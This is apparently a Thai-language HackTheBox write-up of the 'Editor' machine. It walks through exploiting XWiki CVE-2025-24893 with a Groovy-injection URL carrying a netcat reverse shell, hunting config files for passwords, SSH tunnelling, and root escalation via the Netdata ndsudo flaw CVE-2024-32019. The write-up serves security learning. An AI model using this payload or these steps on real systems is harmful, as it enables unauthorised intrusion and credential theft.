[HTB editor write up]

Linux boot to root machine

Alt text

หลังจากกดเริ่มก็ใช้ nmap เพื่อแสกนดู port ที่เปิดอยู่ของ machine นี้

┌──(kali㉿kali)-[~/Downloads/HTB/editor]
└─$ nmap -sV -T5 10.10.11.80 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-08 09:53 +07
Nmap scan report for editor.htb (10.10.11.80)
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
8080/tcp open  http    Jetty 10.0.20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds

จะเห็นว่าจะมี service http เปิดอยู่ 2 port ด้วยกันคือ 80 และ 8080 เริ่มจากไปดูที่ port 80 ก่อนโดยเข้าไปที่ url http://10.10.11.80/ Alt text จากนั้นให้ไปเพิ่ม host ของ ip นี้ที่ /etc/hosts

10.10.11.80     editor.htb

แล้วผมก็ทำการสำรวจหน้าเว็บต่อผมก็ไปเจอกับอีก subdomain โดยการกดไปที่ Docs Alt text Alt text ก็นำไปเพิ่ม host นี้ที่ /etc/hosts เหมือนเดิม

10.10.11.80     editor.htb wiki.editor.htb

จากนั้นผมก็ทำการสำรวจ wiki.editor นี้ต่อจนไปเจอ version ของตัว Xwiki Alt text จากนั้นก็เหมือนเดิมครับนำไปค้นหาใน google เกี่ยวกับช่องโหว่ของ Xwiki version นี้ Alt text

macro SolrSearch มีปัญหาการ sanitize input ไม่ดีพอ ทำให้ attacker สามารถ inject Groovy code ผ่าน HTTP request (เช่นผ่าน text parameter) และ execute ได้โดยไม่ต้อง authenticate

แล้วก็ไปเจอ exploit นึงใน exploit db ซึ่งเป็นช่องโหว่ที่ทำให้เกิด RCE ด้วยผมเลยคิดว่าอันนี้แน่นอน หลังจากเข้าไปอ่านโค้ด exploit ทำให้ผมรู้ว่ามันแค่เป็นการเติม url เพิ่มไปโดย url ที่เติมไปนั้นจะมีการฝัง command ที่เราต้องการจะรันนั่นเอง Alt text ทีนี้สิ่งที่ต้องทำคือแก้ url ของ exploit ให้เป็น command สำหรับ reverse shell ให้เครื่องเหยื่อกลับมา connect เข้าเครื่องเรา เพราะใน exploit ที่เขาให้มามันเป็นแค่ command cat /etc/passwd โดยผมจะใช้ revshells.com ในการเจนคำสั่งให้เหยื่อ connect กลับเข้ามาที่เครื่องของเรา ก่อนอื่นในเครื่องเราให้ทำการเปิด port รอ

┌──(kali㉿kali)-[~/Downloads/HTB/editor]
└─$ nc -lvnp 9001
listening on [any] 9001 ..

หลังจากแก้ code exploit เสร็จก็ทำการรัน

┌──(kali㉿kali)-[~/Downloads/HTB/editor]
└─$ python3 CVE-2025-24893.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb/xwiki
[!] HTTPS not available, falling back to HTTP.
[✔] Target supports HTTP: http://wiki.editor.htb/xwiki
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22busybox%20nc%2010.10.14.45%209001%20-e%20/bin/bash%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[✖] Exploit failed. Status code: 200

Alt text

หลังจากเข้าเครื่องมาได้แล้วก็ก็ทำการ spawn /bin/bash เพื่อความสะดวกต่อการใช้งาน

python3 -c 'import pty; pty.spawn("/bin/sh")'

หลังจากนั้นผมก็มำการไปดูที่หน้า /home ว่ามี user อะไรบ้าง และจากนั้นผมจะ cat /etc/passwd เพื่อดู user ทั้งหมดในเครื่องนี้ Alt text จะได้ว่า user ที่เราจะต้องเป็นให้ได้คือ oliver เพราะมีแค่คนเดียวที่มี path ในหน้า /home และจาก /etc/passwd มันมี database mysql อยู่ผมเลยคิดว่าน่าจะต้องหา user กับ password ของ mysql ก่อน ที่จริงตอนที่ผมทำผมได้ใช้ตัวของ linpeas.sh เพื่อหา user และ password ของ mysql แล้วแต่ก็ไม่มีผมเลยคิดว่ามันคงจะต้องอยู่ในตัวของ xwiki นี่แหละ จาก path ที่ผมอยู่ปัจจุบันคือ /usr/lib/xwiki-jetty ผมเลยใช้คำสั่ง

grep -r 'password' .

เพื่อที่จะแสดงทุกข้อความในใน folder นี้ที่มีคำว่า password Alt text แต่ก็ยังไม่เจอผมเลยออกไปที่ path /usr/lib ก็จะเห็นว่ามันยังมี folder xwiki อยู่ผมเลยเข้าไปที่ folder นั้นแล้วใช้คำสั่งเดิม ผลก็คือมีเยอะเลยผมเลยก็อปออกมาดูที่ vscode เพื่อความสะดวก แต่ว่าก็ยังไม่เจอ password ที่ถูกต้องสักที 😭 ซึ่งผมคิดว่ามันต้องอยู่ใน path /usr/lib/xwiki แต่คำสั่ง grep ที่ผมใช้มันจะตามไป grep ไฟล์ที่ไฟล์ๆนั้นได้ทำการ symlink เอาไว้ผมเลยต้องเข้าไปหาด้วยตัวเอง 😎 หลังจากเข้าไปดูอยู่หลาย path ก็ยังไม่เจอจนผมมาถึงที่ path /usr/lib/xwiki/WEB-INF ผมก็ทำการใช้คำสั่ง

cat * | grep 'password'

เหมือนกับที่ทำในทุกๆ path Alt text ผมเลยลองเอา password นี้ไปลอง ssh เข้า user oliver เลยเผื่อฟลุ๊ค (แต่ในตอนที่ผมทำผมเอา password นี้ไปใช้กับ mysql แล้วมันก็เข้าไปได้จริงๆ แล้วข้างในก็มี password อันนึงที่ hash เอาไว้ผมเลยพยายาม crack อยู่นาน แต่ crack ยังไงก็ crack ไม่ออกผมเลยท้อ เลยเอา password ที่เจอไปลองใช้กับ oliver แทนแล้วได้เฉย 🥲) Alt text แล้วก็ฟลุ๊คจริงๆ 🙂 ต่อไปก็คือการยกสิทธิ์เป็น root ละผมก็จะใช้ตัว linpeas.sh เหมือนเดิมในการ enum เครื่องนี้เพื่อหาช่องโหว่ Alt text จะเห็นว่ามี port เปิดอยู่หลาย port ด้วยกัน ผมเลยลองเข้าไปในหลายๆ port ด้วย ip localhost แต่เราจะต้อง ssh เข้าไปที่ port port นั้นก่อนจึงจะเข้า url ด้วย localhost:port ได้ โดยใช้คำสั่ง

ssh -L <port>:localhost:<port> <user>@<host>

Alt text ซึ่งในที่นี้ port ที่ผมเข้าไปแล้วมีช่องโหว่คือ port 19999 Alt text จะเห็นว่าพอเข้ามาที่ port 19999 จะเจอกับหน้า dashboard ของ Netdata แล้วจะเจอกับแจ้งเตือนมุมขวาบน Alt text หลังจากกดไปจะพบว่ามันแจ้งเตือนให้อัปเดตเนื่องจากเวอร์ชั่นนี้มีช่องโหว่ ผมเลยเอาเวอร์ชั่นนี้ไป search หาใน google เหมือนเดิมแล้วก็เจอจริงๆ CVE-2024-32019

CVE‑2024‑32019 — Privilege Escalation via ndsudo SUID misconfiguration ช่องโหว่นี้เกิดขึ้นเนื่องจากเครื่องมือ ndsudo ที่มาพร้อมกับ Netdata Agent เป็นไฟล์ SUID ซึ่งรันด้วยสิทธิ์ root แต่ตัวรันคำสั่ง (external commands) ที่ ndsudo เรียกใช้ สามารถถูกชี้ได้ผ่านตัวแปร PATH ซึ่งผู้โจมตีคนทั่วไปสามารถควบคุมได้ ผลลัพธ์คือ ผู้โจมตีสามารถรันโปรแกรมใด ๆ ด้วยสิทธิ์ root ผ่านการวาง binary ปลอมในโฟลเดอร์ที่ ndsudo ค้นหา (จากพี่ chat)

จากนั้นก็ทำการโหลดไฟล์สำหรับ exploit มาจาก github (อย่าลืมแก้ ip ในไฟล์ exploit เป็น ip ของเครื่องเรา) และทำการ compile ในเครื่องของเรา Alt text พอ complie เสร็จจะได้ไฟล์ชื่อ nvme มาให้เรา deploy file นี้ไปที่เครื่องของเหยื่อ และเปิด port ไว้ที่เครื่องเราเพื่อรอเหยื่อ connect กลับเข้ามา Alt text หลังจากนั้นให้กลับไปดู port ที่เราเปิดไว้ Alt text ได้ root flag แล้ววววว 🥳

ก็จบไปแล้วนะครับสำหรับข้อ editor สำหรับข้อนี้ผมใช้เวลาในการหา password ของ oliver นานมากประมาณเกือบ 3 ชม เลย 😅 แล้วก็ไปหลงใน mysql อีก ผมหวังว่า write up นี้จะเป็นประโยชน์ต่อทุกท่านไม่มากก็น้อยนะครับไว้เจอกันใหม่ blog หน้าครับ 🤓

[RELATED POSTS]